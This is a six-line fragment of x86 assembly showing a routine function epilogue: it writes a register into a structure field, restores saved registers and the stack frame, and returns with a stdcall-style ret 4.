mov dword [esi + 4], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4